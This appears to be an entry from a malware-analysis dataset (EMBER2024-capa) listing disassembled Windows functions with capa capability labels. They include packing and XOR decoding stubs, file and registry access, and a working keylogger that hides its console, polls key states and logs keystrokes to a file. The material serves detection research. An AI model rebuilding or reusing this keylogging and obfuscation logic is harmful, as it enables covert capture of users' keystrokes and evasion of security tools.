joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4f5d20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xa0000]
push edi
or ebp, 0xffffffff
jmp 0x4f5d42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4f5d49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4f5d38
mov eax, 1
add ebx, ebx
jne 0x4f5d5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4f5d6c
jne 0x4f5d8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4f5d8b
dec eax
add ebx, ebx
jne 0x4f5d78
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4f5d50
add ebx, ebx
jne 0x4f5d87
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4f5ddd
xor ecx, ecx
sub eax, 3
jb 0x4f5da3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4f5e12
sar eax, 1
mov ebp, eax
jmp 0x4f5dae
add ebx, ebx
jne 0x4f5dae
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4f5d7c
inc ecx
add ebx, ebx
jne 0x4f5dbc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4f5d7c
add ebx, ebx
jne 0x4f5dc9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4f5dbe
jne 0x4f5dda
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4f5dbe
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4f5dfc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4f5dee
jmp 0x4f5d3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4f5dfc
add edi, ecx
jmp 0x4f5d3e
pop esi
mov edi, esi
mov ecx, 0x340c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4f5e1a
cmp byte [edi], 0x22
jne 0x4f5e1a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4f5e1f
lea edi, [esi + 0xf2000]
mov eax, dword [edi]
or eax, eax
je 0x4f5e97
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xfa058]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xfa15c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4f5e4c
mov ecx, edi
jns 0x4f5e7b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xfa160]
or eax, eax
je 0x4f5e91
mov dword [ebx], eax
add ebx, 4
jmp 0x4f5e69
call dword [esi + 0xfa170]
mov ebp, dword [esi + 0xfa164]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4f5ecb
sub esp, 0xffffff80
jmp 0x478f65
Function at 0x54846e
Capabilities:
Encode data using xor

Disassembly:
call fcn.00549414
call fcn.00542c4a
stosd dword es:[edi], eax
xor al, byte [ecx + 0x37]
daa
ror byte [edx + edi*2], 1
cmp al, 0xd5
invalid

Function at 0xdded44
Capabilities:
Encode data using xor

Disassembly:
jmp 0xdded4e
pushal
call 0xdded54
pop ebp
sub ebp, 0x10
sub ebp, 0x9ded44
jmp 0xdded6a
mov eax, 0x9ded44
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c5
mov edx, 0x4a88cbab
xor byte [eax], dl
inc eax
dec ecx
jne 0xdded81
jmp 0xdded94
and byte [esi + 0x20], ah
and dl, byte [edi + 0x2aababab]
push 0x53
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
test al, 0x66
adc ebp, dword [edi + 0x11ababab]
sub dword [ebx + 0x495cabab], 0xffffffa8
arpl word [eax], sp
sub ah, byte [edi - 0x57545455]
outsb dx, byte [esi]
sti
iretd
Function at 0x401a30
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x401a5c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], edi
call dword [sym.imp.MSVCP140.dll_protected:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const]
mov dword [esp + 0x10], eax
mov ecx, edx
mov dword [esp + 0x14], ecx
test edi, edi
jl 0x401afa
jg 0x401a84
test esi, esi
je 0x401afa
test ecx, ecx
jl 0x401add
jg 0x401a8e
test eax, eax
je 0x401add
cmp edi, ecx
jg 0x401aa2
jl 0x401a98
cmp esi, eax
jae 0x401aa2
mov eax, esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], edi
push eax
push dword [ebp + 8]
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const]
push eax
call fcn.00402940
mov eax, dword [esp + 0x1c]
add esp, 0xc
sub esi, eax
mov ecx, ebx
sbb edi, dword [esp + 0x14]
push eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int_]
mov ecx, dword [ebp + 8]
add ecx, dword [esp + 0x10]
test edi, edi
jl 0x401afa
jg 0x401ae0
test esi, esi
je 0x401afa
jmp 0x401ae0
mov ecx, dword [ebp + 8]
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x401afa
push eax
push esi
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x401b10
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x408008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
test eax, eax
jg 0x401b4f
jl 0x401b38
test esi, esi
jne 0x401b4f
pop edi
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403311
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x401b71
push eax
push esi
push edi
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403311
mov esp, ebp
pop ebp
ret 0xc
mov dword [ebp - 8], esi
call dword [sym.imp.MSVCP140.dll_protected:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x401bb2
lea edx, [ebp - 0xc]
lea ecx, [ebp - 8]
call fcn.00401c40
mov ecx, ebx
mov esi, dword [eax]
push esi
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const]
push eax
push edi
call fcn.00402940
sub dword [ebp - 8], esi
add esp, 0xc
mov ecx, ebx
add edi, esi
push esi
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int_]
mov esi, dword [ebp + 0xc]
cmp dword [ebx + 0x4c], 0
je 0x401c11
mov ecx, ebx
call fcn.004023a0
mov ecx, dword [ebp - 8]
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp ecx, 0xfff
jbe 0x401bfa
nop
push dword [ebx + 0x4c]
push 0xfff
push 1
push edi
call eax
mov ecx, dword [ebp - 8]
add esp, 0x10
sub ecx, eax
add edi, eax
mov dword [ebp - 8], ecx
cmp eax, 0xfff
jne 0x401c14
cmp ecx, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x401bd0
test ecx, ecx
je 0x401c14
push dword [ebx + 0x4c]
push ecx
push 1
push edi
call eax
mov ecx, dword [ebp - 8]
add esp, 0x10
sub ecx, eax
jmp 0x401c14
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 0x10]
sub esi, ecx
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
sbb edx, 0
xor ecx, ebp
pop esi
pop ebx
call fcn.00403311
mov esp, ebp
pop ebp
ret 0xc
Function at 0x401fb0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x408008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, ecx
call fcn.004028d0
mov ebx, eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], ebx
push eax
call fcn.00402900
add esp, 8
test al, al
je 0x401ffc
lea ecx, [ebp + 8]
call fcn.004028e0
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403311
mov esp, ebp
pop ebp
ret 4
push esi
mov ecx, edi
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const]
test eax, eax
je 0x40204d
mov ecx, edi
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::epptr_void_const]
mov ecx, edi
mov esi, eax
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const]
cmp eax, esi
jae 0x40204d
mov ecx, edi
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
mov esi, eax
lea eax, [ebp + 8]
push eax
call fcn.00402110
add esp, 4
mov byte [esi], al
mov eax, dword [ebp + 8]
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403311
mov esp, ebp
pop ebp
ret 4
cmp dword [edi + 0x4c], 0
je 0x4020f9
mov ecx, edi
call fcn.004023a0
mov esi, dword [edi + 0x38]
lea eax, [ebp + 8]
push eax
call fcn.00402110
add esp, 4
test esi, esi
jne 0x402083
mov edx, dword [edi + 0x4c]
mov cl, al
call fcn.00401320
test al, al
cmovne ebx, dword [ebp + 8]
jmp 0x4020f9
mov byte [ebp - 0x25], al
mov ecx, esi
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [edi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x4020cc
sub eax, 1
je 0x4020cc
sub eax, 2
jne 0x4020f9
mov edx, dword [edi + 0x4c]
mov cl, byte [ebp - 0x25]
call fcn.00401320
test al, al
cmovne ebx, dword [ebp + 8]
jmp 0x4020f9
mov esi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub esi, eax
je 0x4020ea
push dword [edi + 0x4c]
push esi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x4020f9
lea eax, [ebp - 0x25]
mov byte [edi + 0x3d], 1
cmp dword [ebp - 0x30], eax
mov eax, dword [ebp + 8]
jne 0x4020fb
mov eax, ebx
mov ecx, dword [ebp - 4]
pop esi
pop edi
xor ecx, ebp
pop ebx
call fcn.00403311
mov esp, ebp
pop ebp
ret 4
Function at 0x402410
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x408008]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, ecx
cmp dword [edi + 0x38], 0
je 0x4024e9
cmp byte [edi + 0x3d], 0
je 0x4024e9
push esi
call fcn.004028d0
mov edx, dword [edi]
mov esi, eax
push esi
mov ecx, edi
call dword [edx + 0xc]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], esi
push eax
call fcn.00402900
add esp, 8
test al, al
jne 0x4024d7
mov ecx, dword [edi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [edi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x40249e
sub eax, 1
je 0x4024a2
sub eax, 2
jne 0x4024d7
mov byte [edi + 0x3d], al
mov al, 1
pop esi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403311
mov esp, ebp
pop ebp
ret
mov byte [edi + 0x3d], 0
mov esi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub esi, eax
je 0x4024c0
push dword [edi + 0x4c]
push esi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x4024d7
cmp byte [edi + 0x3d], 0
pop esi
sete al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403311
mov esp, ebp
pop ebp
ret
pop esi
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403311
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop edi
call fcn.00403311
mov esp, ebp
pop ebp
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x53ef11e1
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x431024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0xac926f3
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43106c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401053
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 4], 0
mov dword [esp], str.ConsoleWindowClass
call sub.USER32.dll_FindWindowA
push edx
push edx
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
push ecx
push ecx
leave
ret

Function at 0x401083
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x34
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call sub.KERNEL32.dll_lstrlenA
push edx
lea edx, [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [section..bss]
mov dword [esp + 4], ebx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov dword [esp], eax
call sub.KERNEL32.dll_WriteFile
mov ebx, dword [ebp - 4]
sub esp, 0x14
leave
ret

Function at 0x4010c2
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub eax, 8
cmp eax, 0x26
ja case.0x4010d4.10
jmp dword [eax*4 + 0x402078]
mov dword [ebp + 8], str._BACKSPACE_
jmp 0x401157
mov dword [ebp + 8], 0x402027
jmp 0x401157
mov dword [ebp + 8], 0x402029
jmp 0x401157
mov dword [ebp + 8], str._TAB_
jmp 0x401157
mov dword [ebp + 8], str._SHIFT_
jmp 0x401157
mov dword [ebp + 8], str._CTRL_
jmp 0x401157
mov dword [ebp + 8], str._ESC_
jmp 0x401157
mov dword [ebp + 8], str._END_
jmp 0x401157
mov dword [ebp + 8], str._HOME_
jmp 0x401157
mov dword [ebp + 8], str._LEFT_
jmp 0x401157
mov dword [ebp + 8], str._UP_
jmp 0x401157
mov dword [ebp + 8], str._RIGHT_
jmp 0x401157
mov dword [ebp + 8], str._DOWN_
jmp 0x401157
mov dword [ebp + 8], str._DELETE_
pop ebp
jmp fcn.00401083
pop ebp
ret

Function at 0x40115f
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x20
mov eax, dword [ebp + 8]
mov dword [esp + 4], 2
mov dword [esp], eax
call sub.USER32.dll_MapVirtualKeyA
push ecx
mov ebx, eax
mov esi, eax
push ecx
mov dword [esp], 0x14
call sub.USER32.dll_GetKeyState
push edx
test al, 1
jne 0x4011ad
mov dword [esp], 0x10
call sub.USER32.dll_GetKeyState
push edx
test ax, ax
js 0x4011ad
lea eax, [ebx - 0x41]
cmp al, 0x19
ja 0x4011ad
lea esi, [ebx + 0x20]
mov eax, esi
mov byte [ebp - 9], 0
mov byte [ebp - 0xa], al
lea eax, [ebp - 0xa]
mov dword [esp], eax
call fcn.00401083
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret

Function at 0x4011c8
Capabilities:
Log keystrokes
Log keystrokes via polling
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
lea edx, [eax - 1]
cmp edx, 1
jbe 0x401217
cmp eax, 0x2e
jg 0x40120e
cmp eax, 0xf
jg 0x4011ec
cmp eax, 9
jg 0x401200
cmp eax, 7
jle 0x40120e
jmp 0x401205
lea ecx, [eax - 0x10]
mov edx, 1
shl edx, cl
and edx, 0x41f90803
je 0x40120e
jmp 0x401205
cmp eax, 0xd
jne 0x40120e
mov dword [ebp + 8], eax
pop ebp
jmp fcn.004010c2
mov dword [ebp + 8], eax
pop ebp
jmp fcn.0040115f
pop ebp
ret
Function at 0x401219
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, 8
mov dword [esp], ebx
call sub.USER32.dll_GetAsyncKeyState
push edx
test ax, ax
jns 0x40123b
mov dword [esp], ebx
call fcn.004011c8
inc ebx
cmp ebx, 0xbf
jne 0x401225
mov dword [esp], 0xa
call sub.KERNEL32.dll_Sleep
push eax
jmp 0x401220

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x479530
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4dfbeb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004d4573
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4795b2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004d228a
mov eax, dword [eax]
push 0x12a4230
push eax
call fcn.004c44f4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004d47fe
test bl, bl
je 0x4795b2
push 0x12a4230
lea ecx, [esp + 0xc]
call fcn.004d4b8e
push 0x12a7dac
lea ecx, [esp + 0xc]
call fcn.004d4b8e
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4795ee
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004d47fe
jmp 0x4796b9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x479672
lea edx, [esp + 0x7c]
push 0x12a7da8
push edx
call fcn.004c44f4
add esp, 8
test eax, eax
je 0x479672
lea eax, [esp + 0x7c]
push 0x12a7da4
push eax
call fcn.004c44f4
add esp, 8
test eax, eax
je 0x479672
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x479602
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004d47fe
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x479eb0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x479f12
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x479f20
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4dfc6b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x12ae660]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x47a058
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x479f86
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004d47fe
xor eax, eax
jmp 0x47a0cf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004d493b
push esi
lea ecx, [esp + 0xc]
call fcn.004d4bca
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x12a7de4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x47a0ad
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00479eb0
test eax, eax
jne 0x47a0ad
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00479eb0
test eax, eax
jne 0x47a0ad
lea eax, [esp + 0x14]
push 0x12a7dc0
push eax
call fcn.004c5530
mov esi, eax
add esp, 8
test esi, esi
jne 0x47a08c
lea ecx, [esp + 0x14]
push 0x12a7dbc
push ecx
call fcn.004c54b0
mov esi, eax
add esp, 8
test esi, esi
jne 0x47a08c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x47a08f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004d48eb
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x479f9e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004d47fe
xor eax, eax
jmp 0x47a0cf
mov byte [esi], 0
push 0x12a7db8
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004d47fe
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4